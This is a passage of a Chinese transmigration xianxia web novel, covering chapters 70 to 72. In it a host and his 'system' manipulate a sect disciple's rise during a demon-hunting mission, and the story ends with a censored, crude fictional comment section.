贺煜臣惊讶地扬了扬眉,他的确没想到慕温瑜居然舍得让祁鸿羽去。往日里,这个任务都是派他去凑人数,毕竟各峰都要派遣弟子,无相峰除了祁鸿羽只剩下他。 “他留了一些防身的法器给我们,我带你去看看吧。” 贺煜臣拒绝了,“不必了,你自己收好。我要先去严峰主那里。” 与其说慕温瑜留给“他们”,不如说留给祁鸿羽,他之前可没有这种待遇。 近几日,太虚神霄宗各峰都出了大大小小的事情。 严正阳已经过了被偷药鼎之后愤懑的时期,这会正在幸灾乐祸。他刚刚听闻了炎煌峰里,铸剑用的地脉岩浆丢失了不少,自身的快乐永远建立在别人的痛苦之上,这句话确为真理。 他见到贺煜臣来了,满面春风地迎了上去,按辈分两人倒是同辈,不过严正阳的身份地位在这,贺煜臣还是恭恭敬敬行了一个晚辈礼。 严正阳上上下下打量着贺煜臣,他听说过慕温瑜的这位大徒弟,为人低调不善言谈。跟那位跟谁都能聊上几句的小徒弟,简直是分明的对立面。 不过…… 严正阳本就是药修出身,他举动微顿,注视着贺煜臣意味深长地说:“贺小友灵气充沛,今日一见竟是难得的灵脉之体啊。” 灵脉之体修练时可以不受斑驳杂气的影响,行气修炼事半功倍,令人艳羡,哪怕是见惯了奇才的严正阳也忍不住捋了捋胡须,啧啧称奇。 贺煜臣清楚地知道自己并非严正阳所说的灵脉之体,但他也不能当着峰主的面,反驳人家说的话,只好不尴不尬地扯了下嘴角。 “来吧。”严正阳在前引路,“这次试炼对于你来说,不会太难。”- 系统虽然感受不怕高温,它看着还在不停翻腾的岩浆,终究还是忍不住往秦越身后缩了缩。 没有炎煌峰上弟子面对地脉岩浆的严阵以待,系统看着把剑胚随手放进去,还不时把它翻了个身的秦越。 ……不得不说,宿主好像在做烧烤。 系统看着被火光燎亮面容的秦越,咽了口口水。 [宿主,地脉岩浆可是一次性物品,不能跟上次的药鼎一样还回去了哦。] 秦越:“运气好而已,丹药首炉即成,祁鸿羽已是灵脉之体,升阶指日可待,我拿着那药鼎也是累赘。” 时候差不多了,系统突然一阵紧张,它预感到有什么不对的事情将要发生,还没来得及提醒秦越,只见岩浆宛若长河倒卷冲天,在剑胚外围凝成血色晶鞘,天空深处传来沉闷轰鸣,一时风云色变。 秦越瞥了一眼被岩浆溅到的手背,他感觉不到太多疼痛,一是他这具身体本就是假的,二来灵气瞬间就修复了伤口。 纵是这样,他依旧很不满,垂下眉眼冷冷地说:“老实点。” 凛冽剑意割裂沸腾的熔岩,天地在这一刻寂静,不久前还在咆哮的岩浆顿时静若鹌鹑,除了偶尔翻出几个气泡,俨然看不出几息前的唬人模样。 待到剥去剑身表面凝结的血晶,可见锋芒毕露,剑光泠然。 秦越伸出指尖,随意弹了一下剑身,听完铮铮剑鸣后,掏出系统给他临时抱佛脚的一本锻剑指南。 “松涛涧响,金石迸火。”秦越看完上面对成品声音的描述,满意地点点头,“应该是大差不差了。” 之前不觉得有什么,系统惊觉自己也被带进了坑,居然真的跟秦越一起玩成了养成游戏。 它赶紧回到正轨:[宿主,剧情偏离度出现了。] 秦越归剑入鞘,“是好事还是坏事。” 系统给他解释了一遍剧情偏离度的意思,[目前偏离度是10%。] 秦越有些错愕:“这么容易?” 原来撮合男主的感情也只不过是分分钟的事情。看来祁鸿羽就跟小狗性格差不多,记吃不记打,生气了随意哄哄就好了。 系统拍马屁:[不不不,这是宿主您水平高啊,改变一个节点,立刻让原本危机四伏的剧情一下子就没了呢。] 这个世界任务不要太简单了。系统美滋滋地想着,只要保证男主不会黑化就行了。 意识到秦越准备给男主送剑,系统主动请缨:[我来给您定位。] 秦越:“不用。” 他早就在“祁鸿羽”身上留下自己的神识,最早的初衷是为了保护男主,但在另一方面,也为他提供了“祁鸿羽”的方位。 藏书阁,墨香中混杂着千年沉香木特有的气味。 贺煜臣犹豫了一会,才拾级而上。 作为普通弟子,是没有资格踏上台阶,但今日不同,他已经通过护卫试炼。台阶边界处的禁制只是轻柔地阻挡了贺煜臣一下,确认了他的身份后就很快就放行了。 两侧檀木书架如同沉睡的巨兽向黑暗深处延伸,穹顶漂浮的灯笼根本照不尽走廊。 贺煜臣迟疑地抚上书脊,一直期待的事情突然实现了,他现在还有些不真实感。 正当他抽出一本剑诀想翻阅时,一只骨节分明的手不容分说地按住了封面。 “别看。”秦越刚到就看到贺煜臣准备学别的剑诀。 《无相空明》本就内藏剑诀,再学就学杂了。搞不好气息相冲,到时候问题就大了。 贺煜臣目光从书封上的指节移到秦越脸上,大概是在鬼哭洞里相处了几日,秦越看起来没有一开始那般令自己害怕的气息了。 他也没问秦越是如何上来的,他更想问的是另一件事。 贺煜臣沉默了片刻,说道:“前辈不告而别,我还以为您不想教我了。” 那天,他再一次睁开眼时,没有看到秦越,而是看到了戒律堂的弟子。说不失落是假的,但像这种性格难测的宗师,能善心大发愿意指点一番自己,已经是莫大的幸运了。 可是贺煜臣没有意识到,自己的语气中包含了不大不小的嗔怪。不知怎的,他见到了对方,会莫名涌出一股失而复得的感觉。 而这种感觉,又让他口不择言。 秦越笑了笑,“准备了个东西给你。” 贺煜臣没看清他从芥子空间里拿出了什么,下意识地接住了秦越抛过来的东西。 是一件被布胡乱包裹着的东西,看形状是一柄剑。 贺煜臣三下两下地掀开外面的布,虽然外面裹着的布匹很粗糙,可映入眼帘的剑鞘上纹路精美,材质入手轻盈,他拔剑出鞘,只几寸便能看见如水的剑光。 过了半响,贺煜臣才抬起头,声音很轻:“这是给我的?” 秦越微微颔首:“不趁手跟我说,我再重新为你锻造。” ……实在不行,只能再一次对不住炎煌峰了。 贺煜臣垂下眼睫,指腹一点点滑过剑鞘,他不知道怎么形容自己的心情。 软软的,像飘在空中。 慕温瑜从来没有给过他东西。 但贺煜臣也不怪对方。 因为当初慕温瑜已经告诉了贺煜臣,自己并不打算收徒,收他实属无奈之举。所以他们空有师徒之名,并无师徒之谊。直到祁鸿羽入门后,这种诡异的相处氛围才有所改善。 原因则是慕温瑜有求于他了。 祁鸿羽被慕温瑜照顾得很好,在有些事情上,慕温瑜不便下场的,他就不得不拜托贺煜臣这个名义上的大师兄。 可这没有什么好埋怨的,一个愿打一个愿挨罢了。贺煜臣内心在自嘲,把那个势利的自己割得千疮百孔。 直到掌心冰冷的触感唤醒了他。 但秦越为什么要对他好? 在贺煜臣眼中,天南地北各路人能聚在一起,无非是利益的交换。秦越想从他这里得到什么?他又能给秦越什么呢。 他不知道。 那种做梦般的不真实感又加深了,贺煜臣回过神,他语气平静,但手上的力气逐渐加重,似乎想将剑融入自己的骨血:“不必换了,很好。” 秦越见到贺煜臣板着个脸说出很好几个字,说真的他不是很信。 不过他也松了口气,炎煌峰的地脉岩浆算是保住了,一直薅羊毛他也过意不去。 谁知贺煜臣抬眸看向他,再一次郑重地重复:“剑很好……我很喜欢。” 秦越见到对方如视珍宝,原本一双黑冷的桃花眼蓦然被点亮了一般,甚至还带着点淡淡的笑意。 他心想,男主果然挺好哄的—— 作者有话说:问:为什么出现了剧情偏离度? 答:因为他们在给反派疯狂提供武力值[狗头] 第70章 灭妖也被称之为猎妖,妖族因为不同于人族这种先天而生的种族,他们修炼时多会碰壁,而人族的血肉可为他们破除障碍,这也导致两个种族千百年来不死不休。 贺煜臣心里有事,没空搭理在他耳边叽叽喳喳说个不停的祁鸿羽。 祁鸿羽:“师兄师兄,那是据说隐世已久的星枢门吗?”他兴奋地指了指一群穿着暗紫色长袍的人,这群人捂得严严实实,像是有一层无形的气场隔绝了他们与别的宗门,显得十分不合群,“他们跟天机峰的人哪个厉害呀?” 祁鸿羽:“师兄师兄,你看真有御兽一族的人哎,可是妖族也是兽类衍化而来的,你说他们能直接控制妖族吗?” 祁鸿羽:“师兄师兄……” 贺煜臣被祁鸿羽吵得不能思考,他本来就有些心烦意乱。那日在藏书阁分开前,他跟秦越解释过近期他会参加灭妖任务,如果秦越找不到他,并非是自己想避开秦越。 结果秦越出乎意料地告诉贺煜臣,他也会加入到这次任务中。 也许是看出了贺煜臣眼中的犹豫抗拒,秦越收敛了一些不容置喙的气势,安慰他说自己尽量不会出现在他同门面前,只是为了确认他是否在练习自己教他的心法。 实际上这也是秦越的托词,他是为了防止不知道会从哪冒出来的妖族,当面地就把祁鸿羽的身世说了出来。 这不直接给刚上正轨的剧情捅了个窟窿吗? 贺煜臣第一次知道做贼心虚是什么感觉。 面前真正的祁鸿羽还在滔滔不绝,他从来没有参加过这类任务,自然充满了新鲜感。 “好了。”贺煜臣隐去眼中的情绪,“跟九鼎峰的人一起驻扎去,不要什么都不做。” 太虚神霄宗领头的是九鼎峰峰主严正阳。据说这次本该是轮到了炎煌峰峰主,但因为岩浆丢失的事情,对方不得不前去地脉重新采取,这个烂差事又一次落到了严正阳头上。 不久前对炎煌峰出事幸灾乐祸的严正阳:“麻利些,日落之前务必安营。”他负手而立,脸上是淡淡的愁闷。 该死的,他都已经打算这几日去山底下钓鱼去了。 贺煜臣走近严正阳:“严峰主。” 严正阳对贺煜臣印象还行,“贺小友可有什么问题?” 贺煜臣看了一眼身后笨手笨脚帮忙的祁鸿羽,他压低声音道:“师尊闭关,师弟又是第一次参加任务,万一出事我不好与师父交代,严峰主能不能帮忙给祁师弟安排靠内的帐篷?” 日落之后,妖孽横行。安营的地方都有巨大的保护法阵,当然是越靠近里面越安全。 严正阳摸了摸胡须还未说什么,贺煜臣又说道:“作为交换,这几日我做阵眼。” 法阵自然会有阵眼,而妖族想要突破法阵,必定会先杀了阵眼。以前几位阵眼都是从各峰弟子中抽取,现在有人愿意自告奋勇,严正阳自是求之不得。 贺煜臣那么做有自己的私心,一方面是他确实是出于对祁鸿羽的安全考量,另一方面阵眼会在营地边缘,就算秦越突然出现,也不会立刻跟祁鸿羽撞上。 严正阳扭头看着还乐呵呵的祁鸿羽,叹了口气:“贺小友,你可千万跟你师弟说清楚了,我们不是去游山玩水,此行是真的会有性命之忧的。” 贺煜臣点头应下,便到了一处阵眼方位抽出长剑,森冷的寒光刹那间照亮他的脸庞,贺煜臣反手将剑身插进地面。接下来,他只需等到剩下三人各自到位,阵法便会启动。 这是任务的第一天,多数弟子都会因为兴奋和担忧而无法入眠,很多帐内依旧灯火未熄,人影幢幢。 贺煜臣百无聊赖地收回目光,他坐在帐前发了一会呆。不知想到了什么,他掏出一块石头,细看之下竟然是在鬼哭洞里秦越抛给他的那一块。 火灵咒还附着在上面,尽心尽责地为持有者驱逐着寒气。 这种感觉让贺煜臣想到了他灵窍未开的年少时期,那会他并不是在现下的仙洲界,而是跟身为普通人的父母居住在凡人界。 寒冬季节对普通人来说最是难熬,纵然衣服裹了几层,还是躲避不了狡猾地钻入领口的冷风。 冷得让人忍不住打颤,就跟……在鬼哭洞差不多吧。 有一年冬日,父亲神神秘秘地回到了家,将藏在棉衣下跟个宝贝地似的东西交给了母亲,他大声地宣布:“这个冬天应该不会冷了。” 母亲满是冻疮的手接过那个模样奇怪的物什,突然惊叫一声:“这是什么东西?摸起来整个身体都好暖和!你是从哪弄来的?” “赶集市遇到一个人卖的,据说是仙洲界里仙人做出来的嘞。” 母亲嗔怪道:“这肯定不便宜吧,我们烧点柴火也不是不行……” 后面的记忆很模糊了,依稀记得父亲很心疼地摸了摸母亲手上的冻疮,然后故作轻松地说了一个数,那时候贺煜臣还不知道父亲虚报了价格,但即使那样,父亲嘴里说出的价格,也足以满足他们一家一年的开销了。 一个火灵咒,仙洲界里很多修士都可以施出的法咒,在普通人眼里却被说成了仙人的法术。 哪怕贺煜臣如今可以一口气做出很多个当年父亲买回来的东西,可也弥补不了他当初知道真相时的错愕。 他灵窍初开后,恰逢仙洲界的引荐人按例来挑选普通人中诞生的修真者。 那是贺煜臣第一次见到修士。以前对修真的印象都仅仅停留在父亲带回来的宝贝上。 他没忍住问引荐人自己日后能不能造出那样的东西。 引荐人云里雾里地听了半天,才明白贺煜臣指的宝贝是什么。 他哈哈大笑,只当贺煜臣是童言稚语,摆了摆手:“火灵咒是最为初级的法咒,初学者都会,不值得一谈。你知道最厉害的修士是什么样的吗?” 贺煜臣哪里知道什么最厉害的修士,仙洲界的事迹在凡人界都已经跟话本没什么区别了。 引荐人敛去笑意,眼神向往地说道:“太虚神霄宗的老祖,帝命剑尊可以做到一念天地开,一怒山峦崩。莫说是火灵咒,就算是火神来了也拦不住他。修行之路的终点,莫过于此了吧。” 他见贺煜臣年纪不大,又跟其他多少跟修真界沾亲带故的少年不同,便好心地叮嘱贺煜臣:“以后万万不能说出这样的话了,莫招得他人嘲笑。修真界多说多错,尽量少说多看,你明白了么?” 贺煜臣这才迷迷糊糊地反应过来,原来,他们家当年如此珍视的东西,在仙洲界不过是被人弃之敝履的砂砾。 引荐人说得剑尊,他可能听说过,也可能没听过,可是这些厉害的人在凡人界没有什么不同,在普通人眼里,都是神仙一般的人物。 引荐人口中无所不能的剑尊,给少年时期的贺煜臣留下了深刻的回忆,他本以为自己通过话本知道了仙洲界的模样,却被告知是管中窥豹。 巨大的落差感吞噬着贺煜臣。 年复一年,日复一日,这种填不满的空洞感愈发强烈。 贺煜臣知道了自己的无能为力,但这并没有让他知难而退。他不满足于止步于此,因此告别了无数愿意留下他的宗门,义无反顾地投入太虚神霄宗门下。 他想,也许在剑尊曾经驻足的地方,自己也能感悟大道。 “发什么呆呢?” 点点灯火中,贺煜臣眼中的怔然褪去,他慢了半拍望向出声的方向。 面前的人已不是初见时弟子装束了,男人垂目扫了一眼法阵,便随意地抬手。剑纹自指尖蜿蜒至阵法处,他抬眼的刹那,看不见的法阵被无形剑气劈开。 整个过程很快,甚至法阵被打破后又被秦越随手复原了,周围无一人发现异样。 贺煜臣还没从秦越轻而易举地破了法阵的冲击中回过神来,就看见秦越侧了侧头,视线落在他紧握的手掌上:“你手上拿着什么?” 贺煜臣突然觉得附着火灵咒的石头很膈手,他飞快地将石头收进胸前口袋,“没什么。” 秦越也没较真,“练得怎么样了?”他旁若无人地矮身坐在贺煜臣身边,态度熟稔地问道。 贺煜臣抿了抿唇,略显紧张地看着周围还亮着灯光的帐篷。 秦越瞧着贺煜臣眼神飘忽的样子,就猜到他在害怕什么,语气冷淡:“别愁眉苦脸的了,别人看不见我。” ……受不了了。 恋爱脑到底能不能治治。 做个至高无上令人敬仰的掌权人,不比卿卿我我有意思多了。 贺煜臣悄悄地松了口气,他拘谨地往旁边挪一挪,再一次问道:“您到底为什么想教我?” 这个问题他问过一次,可是现在的心态不一样了。 他想知道秦越的目的,想知道他触怒了秦越,有多少能活下来的几率。 可能是那块被他妥善放置在胸口的火灵咒,太过温暖……温暖到他有些不想把对方让出去了。 秦越敷衍至极,似笑非笑道:“因为我无聊;因为你是祁鸿羽;因为你骨骼清奇;因为我看不惯废物。你看哪个顺眼,自己选一个答案吧。” 贺煜臣:“……” 秦越:“好了,闲谈时间结束,让我看你的练习成果。” 系统在秦越背后默默握拳赞同,没错,就是要这样赶进度! 前几次任务都长达几十年,这次务必要快刀斩乱麻,免得别的统戳自己脊梁骨,说它拖了秦越后腿—— 作者有话说:放心吧某人,根本不会把进入正轨的剧情捅出篓子……因为剧情压根没上过正轨魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 贺煜臣只好收了从秦越口中得出真相的心思,乖乖应了一声。 他正襟危坐,闭眼将秦越之前手把手教会他的心法运转一遍。 一时间,贺煜臣觉得时间流逝变缓了,直到一双冰冷的手点在他的额头上,一开始是感受到了冷意,随即是一阵体内被洗骨伐髓的暖流,可遗憾地是他现在不能睁眼。 系统瞪大眼睛:[您在干嘛?] 秦越收回了手:“很明显,我在传点修为给他。” 系统眼睁睁地看着秦越将男主的修为硬是拔高了一个境界。 这叫“传点”?! 果然在真正的实力下,修行就是那么简单粗暴。 贺煜臣同样也感受到一股不属于自己的力量,正在他体内横冲直撞。他想强行压制住这股不知从何而来的气息,可万万没想到,自己的灵气如泥牛入海,触碰到陌生的气息时,就瞬间消散了。 这个认知让他顿时慌张起来。 秦越皱了下眉,明明男主提升了境界,怎么还一副走火入魔的样子。他低声道:“凝神聚气。” 听到熟悉的声音,贺煜臣蓦然安下心,他惊奇地发现原以为是入侵者的力量,居然悄无声息附着到自己的筋脉上。 他居然突破了之前一直囿于的境界。 又惊又喜之下,贺煜臣下意识地朝着最近的秦越看去,满腔的喜悦他似乎只能跟眼前的男人分享。 “前辈,我进阶了。” 对方好像一点也不奇怪,但他冷峻的眉眼也罕见地弯起,“不愧是……”男主。 秦越:“妖族凶残,对待人族只有一条死令,那就是见之便杀。你这次过去,以从前的修为,实在是不够看的。” 秦越自认为要对男主要求更严格一些。哪怕之前祁鸿羽的修为,其实已经远比他所想的要好。 不过秦越深谙打一巴掌给个甜枣的道理,毕竟自己比不上慕温瑜一根寒毛。慕温瑜可以惹恼祁鸿羽很多次,但他的机会只有一次。 “妖族作恶多端,当以诛杀祭我同门英魂。我期待你此行扬我太虚神霄宗之威名。”秦越没什么情绪地笑了一下,“你做的到,对么?” 系统看了一眼仿佛站在道德制高点的秦越,又看了看眼神怔然,却还是不由自主地点了一下头的男主。 好像犹豫半秒,就会被秦越厌弃一般。 嗯?? 系统恍惚道:[等等,宿主您是不是在PUA男主啊?!] 秦越态度坦然:“随你怎么想。”他视线逡巡了一遍这个营地,不远处依稀还能看见其他宗门的帐篷。 如果没记错的话,这里面有个宗门里潜藏了很多妖族内鬼。 要不要顺手把这群蛰伏在修真界的宗门清除殆尽算了? 贺煜臣出声打断了秦越的思考,他前一秒因为秦越对自己的看重中飘飘然,下一秒就看见秦越眼神闪烁着杀意。 “前辈。”贺煜臣知道对方的杀意不是对着自己的,可那种非人般的眼神还是吓了他一跳,秦越看向远处的目光,跟看到一群可以随意踩死的蝼蚁没有区别。 秦越被唤回了神志,他猛地意识到剑尊的神识在侵蚀自己,这个世界……原主的力量太过强大。 原主早已成神,只差飞升这一步骤,加之他又是无情入道,导致原主看人族也没有多少同族之谊,而这个太过漠视人命的念头又间接地影响到了自己。 纵然那个宗门里有妖族内鬼,可自己刚刚一瞬间的念头,居然是宁可错杀无辜,不能放过一个妖族。 秦越叹了一口气,他在贺煜臣脸上看到了藏得很好的恐惧,但这可骗不过他的眼睛。 他问系统:“这个世界不太对吧。” 系统翻了翻剧情线:[宿主您放心吧,剧情对着呢。] 秦越依旧不放心,决定还是要对男主“揠苗助长”,他轻描淡写问道:“你师兄是不是也来了?” 猝不及防被秦越点名的贺煜臣心口猛地一跳,顿时手脚都不知道往哪里摆了。他不知道自己嗓音有没有发抖,但他知道不能让秦越瞧出异样,“师兄的确来了。前辈提他是有什么事么?” 那可太有事情了。 可惜……秦越又叹了一口气。 谁叫原文里男主前期就是个傻白甜,除了日常跟慕温瑜贴贴外,就格外依赖他这个师兄。 问题是他师兄是个反派啊。 这个反派跟传统意义上的反派有些区别,他倒是没什么灭世的神经想法,相反男主师兄正常的不得了,他眼里除了权力就是权力。 这也早早地埋下了一个伏笔。 祁鸿羽跟慕温瑜闹掰了之后,一气之下回到妖族领地,就在慕温瑜最脆弱的时候,祁鸿羽的师兄好死不死地开始趁虚而入了。 他仗着跟祁鸿羽有几分相像的脸庞,趁机挤入了慕温瑜的生活,还时不时地旁敲侧击地说了一些男主的坏话,他的本意只是想让慕温瑜不要再惦念祁鸿羽了,这样太虚神霄宗日后宗主之位就会轮到他自己。 结果男主回到太虚神霄宗之后,见到这幅慕温瑜和他师兄过分亲密景象,更是捂耳拒绝听慕温瑜的任何解释。 双方一言不合就开打,太虚神霄宗顿时就惨遭拆家。 现在这个反派根本没干啥坏事,口说无凭的话祁鸿羽肯定不会相信。 所以秦越想了想,决定从另一方面鞭策“恋爱脑”男主:“我听闻你师兄修行刻苦,克己复礼,慎独而行。你与他师出同门,我希望你不要比他差。” 系统崩溃:[您这不还是在PUA男主吗?] 秦越冷着脸警告系统闭嘴:“是PUA还是严师,我自有定夺。” 他只能寄希望于男主听懂了暗示,在跟反派的竞争中,可千万别落入下风,最好尽快当上太虚神霄宗宗主。 贺煜臣心里浮现一种很矛盾的感情。 他高兴于秦越对自己的评价很高,但又失落于秦越的期望是给了祁鸿羽。 这种矛盾点感觉逐渐让舌尖变得又涩又麻,他努力了很久,才很体面地回道:“前辈您放心,我不会……绝对不会比他差,我不会让您失望的。” 被男主客气称呼了很多天的秦越,觉得自己被喊得垂垂老矣,他摆了摆手:“别一句一个前辈了,你就当我跟你是平辈吧。” 他生怕日后听到贺煜臣回一句班味十足的收到。 贺煜臣望着秦越无聊地用手指缠绕着营地上的杂草,这种没什么意义的举措,让他看起来平添了几分少年气,刚刚那个冷漠地想要将什么东西抹杀的秦越又不见了。 “前辈……秦……” 发现“祁鸿羽”舌头跟打结了似的,含糊地说了半天也没挤出一个字,秦越好笑道:“你可以直接喊我的名字。” “秦越。”这个声音低得要不是秦越聚精会神都听不见,“你觉得我能有机会突破到宗师么?” 秦越轻轻笑了下:“宗师境界就能满足你了?日后,宗内第二位剑尊必定是你。剑尊名号正好可以换一个新的了。” 贺煜臣睁大眼睛,这句漫不经心的话像是有魔力,在他心中种下了一颗种子。 原本模糊的权力之路,忽然出现了形状。 但他的潜意识还在否认:“帝命剑尊并非我等可以议论的。” 秦越偏了偏头,肉眼可见地不讲道理:“我说可以就可以。” 这个话题开始变得大不敬起来了。 贺煜臣指了指一个走过来的身影,抿了抿唇起身道:“有人来找我,我要先失陪了。” 话音没落,贺煜臣就有点后悔了。 他这是在说什么呢,赶秦越走吗。对方和颜悦色一点点,自己就开始顺杆子往上爬了? 贺煜臣没敢直视秦越,只用余光看向秦越。对方身量极高,只是站在一旁,就让他不得不屏住呼吸,手脚僵硬。 秦越陡然抬起手,要是从前贺煜臣身形早该动了,也许是他习惯了秦越的举措,一动没动,只是呼吸骤然急促起来,自我保护地闭上眼。 他生气了么? 自己会被一掌掀出去吗? 他以后还会愿意教自己吗? 贺煜臣还在胡思乱想,秦越已经淡淡地开口:“好了。” 贺煜臣睫毛颤抖,视线所及之处只有一截白玉般的指尖。 原来秦越只是捻下他发梢末端的一根杂草。 秦越的身影消散在空气中:“去吧。” 来的人是祁鸿羽,贺煜臣一时有些庆幸,只差几息,秦越就要跟祁鸿羽迎面遇到。 祁鸿羽狐疑地瞅了几眼贺煜臣。 他师兄一向很注重形象,可是现在对方衣服下摆上沾了不少杂草,就像是不顾灰尘,在帐外席地而坐。 贺煜臣顺着祁鸿羽的目光看见衣服上的狼藉,他突然意识到自己刚刚并没有邀请秦越入帐内详谈,两个人就这么顶着冷风在外面待了许久。 贺煜臣徒生懊恼,或许秦越不太注意这种客套,可是自己怎么也跟犯浑了一样? 祁鸿羽摸了摸下巴,决定还是说正事:“师兄,你认识星枢门的人么?” 贺煜臣端详着祁鸿羽:“你大晚上就想跟我谈这个?” 祁鸿羽面露难色,迟疑很久才开口:“星枢门的人找我了。” 那群身着暗紫色长袍的神棍出现在贺煜臣的脑海,虽然这些人一天到晚神出鬼没,留下的箴言有的灵验了,有的就是废纸一张。但不得不说他们血脉中的预言之力,总是能瞎猫碰上死耗子,预言出几件大事。 上一个星枢门预言的大事还是关于帝命剑尊的,说是剑尊要得道成神了。 贺煜臣微微俯身,见到祁鸿羽的苦恼不像是装的,他耐下性子问:“星枢门的人跟你说什么了?”—— 作者有话说:是师徒还是情侣,我自有定夺(确信) 第72章 祁鸿羽像是不知道从哪说起,那个人神出鬼没地找到他,说了一些似是而非的话,又没了影。 “他说我这次如果执意继续前行,将会产生不可估量的影响。” 贺煜臣皱眉看着他:“什么不可估量的影响?” 不久前那个星枢门的术士闯进祁鸿羽帐内,在他面前突然双眼翻白,整个人不停地抽搐,脸上扭曲得可怕,纵使这样还坚定地指向他。 术士一直没有张开嘴,可是预言如同直接钻入祁鸿羽的脑子里。 “命途逆转,天地异变,迎来终焉。” 贺煜臣听完这话,愣了一会。 星枢门的人由于给出的预言货不对板是常态,导致名声不太好,不过他们自认为预言是出了偏移而已,毕竟只要当事人任何的一个选择改变了,结局很可能就不同了。 但他们并不会随便就说一些没有根据的话。 不过,怒贺煜臣直言,他实在没看出来祁鸿羽有什么能力,可以将仙洲界搅个天翻地覆。 贺煜臣:“我并不认识星枢门的人,但他们所言的东西你信个十之一二就差不多了。若你实在放心不下,现在可以自行回太虚神霄宗。” 一听这话,祁鸿羽就不乐意了。本来还有些忌惮预言,立刻就变成了不服输。 “我死都不回去。”祁鸿羽眼也不眨地一口回绝,“我才不想看到慕温瑜那张脸。” 贺煜臣心累地叹了口气:“那你想让我帮你什么呢?” 要是星枢门的预言成真,他也顶多是终焉中的一粒尘埃。 祁鸿羽兴致勃勃,特大义凛然地走近一步:“万一我出了什么事,你去告诉慕温瑜我不是孬种!” 贺煜臣:“……”他真没空陪祁鸿羽闹了,“随你。” 贺煜臣干巴巴地丢出两个字,反身回到自己帐内。 祁鸿羽丝毫没有察觉到贺煜臣的无奈,他还沉浸在自己的世界里。 就像闹脾气的小孩会幻想自己要是出了什么事,家长会伤心欲绝一样。 祁鸿羽气呼呼地想等到自己真没了命,就让慕温瑜哭去吧,谁叫他之前对自己那么凶。 慕温瑜活该难过。 祁鸿羽想着想着,倒是自己先委屈起来。 要是自己死在灭妖中,慕温瑜真的会难过吗?那个铁石心肠的家伙,会为自己落泪吗- 秦越比这群走走停停的修士更快到了目的地。 妖族因为并非先天而生的种族,吸收灵气天生比不过人族,光是化形这一步就熬死无数的妖族。 随着时间的流逝,一些妖族就起了不好的心思。 如果他们无法引天地灵气为己用,不如就直接吸收了人族的灵气,还省的他们炼化,直接一步到位了。 除了杀人取灵气外,妖族会在特定的地方开启法阵,保证普通妖族基础的灵气吸收,以便维持人形。 因为并非所有妖族都有能力杀掉修士,抢夺修为的。 系统:[您可以把法阵理解为妖族的……低保。] 秦越遥遥地看见了远处的天空俨然化作流动的星图,赤红燃烧的锁链诡异地悬在空中,如同数条血色长河,组成了不详的阵法。 他感受到周围的灵气被锁链蛮横地扯去,朝着一个地方汇聚。 系统瞧了瞧马上就要到了,却又停住脚步的秦越,[呃,宿主您不是打算去把这个危险因素除掉,保证男主安全的吗?] 秦越莫名其妙:“谁说我要那么做了?” 系统摊了摊手,问道:[那您来这干啥?] 秦越:“踩点。顺便想想怎么给男主做嫁衣。” 见到系统还是两眼空空,秦越忍不住弹了它一个脑瓜崩,“离我远点,免得把傻气传给我了。” 秦越站在一颗高大树木的树枝上放出神识,大概探出妖族的分布后,他懒洋洋地斜依着树干坐下,“祁鸿羽在宗内要能力没能力,要声望没声望。不如趁着这次灭妖行动,打响名声。” 看着秦越闲来无事,系统:[咱们要不要复盘上个世界的失败?] 秦越噢了一声,扬了扬眉:“说来听听。” 系统清了清嗓子:[我先事先说明一下,由于会自动清除后台数据,我并不能知道上个世界发生了什么,这个纯粹是我推测的。] 见到秦越兴趣逐渐下降,系统试图吸引它的注意力:[不是纯推测,有证据。上个世界出现了一个严重的bug,这是我认为您失败的主要原因。其次是通过一些和别的系统的琐碎聊天记录,我初步推测……您貌似……可能跟上个世界的男主在一起了。] 先说明主要失败原因来自于bug,再小声说出另一个原因。系统对了对手指,觉得自己跟人待久了,做事都做的开始圆滑起来。 聊天记录如果涉及到之前世界的具体内容,是铁定会被删除的。 但系统跟别的统交流时,说的很含糊,正好卡在了一个界限上。它当时是这样问其他系统的:[你们的宿主出现过跟小世界主角谈恋爱的情况么?] 问完就被系统们嘲笑一番,然后其中一个系统是来自乙女世界,它优雅地敲出几个字:[只是跟主角谈恋爱?那太少了吧。我宿主从男一谈到男五。她的口头禅是点头yes摇头no,要摸男模gogogo。] 另一个系统来自买股文世界,它嫌弃对方没见识的模样:[你宿主居然都不是主角吗?原来是被主角挑挑拣拣的对象,真丢人。] 后来系统经常庆幸自己是匿名问的,要是让这些统知道自己宿主是助攻局的优秀员工,自己才是丢脸丢大发了。 系统也是无意间发现自己的这条消息还留存着,读了几段留言后,它冷汗顿时就下来了。 联想到秦越在这个世界的举动,它立刻不安起来。 秦越慢吞吞地看了系统一眼,随即兴致缺缺地靠了回去。 瞧着秦越明显不相信的样子,系统握拳:[我是认真的!] 秦越晃晃悠悠地说:“你不久前还在说我pua男主。” 系统一顿,它闭眼大声辩驳:[那不是一码事,您看您今天就想着要让男主扬名立万了。您不觉得您对他太上心了吗?] ……卑职是真的很担心您重蹈覆辙啊。 秦越本来没什么反应,甚至表情可以说有些严肃,看着系统抓耳挠腮的模样,他没忍住嗤笑一声,“你觉得我会插足做一个第三者?” 系统猛地狂拍树干,[您都不屑于反驳您没有对男主太上心!] 秦越:“他是我的任务对象,我当然要额外关注他。” 系统不信:[您立字据,说您这次绝对不会跟男主在一起!] 对于系统的无理取闹,秦越选择手动静音。被当场拿捏的系统呜呜呜挣扎起来,两眼泪汪汪。 秦越翻看着原文,根据系统提供的一些攻略,改变后的剧情要是贴近小说评论区的要求,就大差不差了。 他翻了几页评论区,如果不堪入目的字眼会自动屏蔽的话,他脑子里面现在就是一个电报机,在那疯狂的“哔哔哔——” 【无情道首席弟子:祁鸿羽是误打误撞地修成了无情道吗?】 【师尊天下第一:你没事吧,现在是纠结无情道的事情吗?你家1把师尊弄死了哎!】 【九鼎峰今天炸锅了吗:@师尊天下第一,跟他吵啥,他一眼主角控。不过作者那么写不是文案诈骗吗?特么的退钱啊!】 【支持剑尊当总攻:明明跟我们说会写报复凌辱的桥段。骗色鬼看be,作者你没良心我服了……】 【白月光又死了:色欲薰心的我老实了,我以为会有调/教,还有**呢,算了人都死了,可以冰恋吗?】 【师尊天下第一:作者我淦你**,我*你*,你出门*******,你晚上睡觉最好睁一只眼!】 秦越不忍直视这一群人的“直抒胸臆”,他无意识地松开手。 脱困的系统钻了出来,它还停留在上一个阶段:[您立字据!] 秦越把评论区镜像反转,投射到系统的眼前。 他可以理解评论区嗷嗷待哺的样子,毕竟把美的东西毁掉,确实会让人有一种兴奋感。 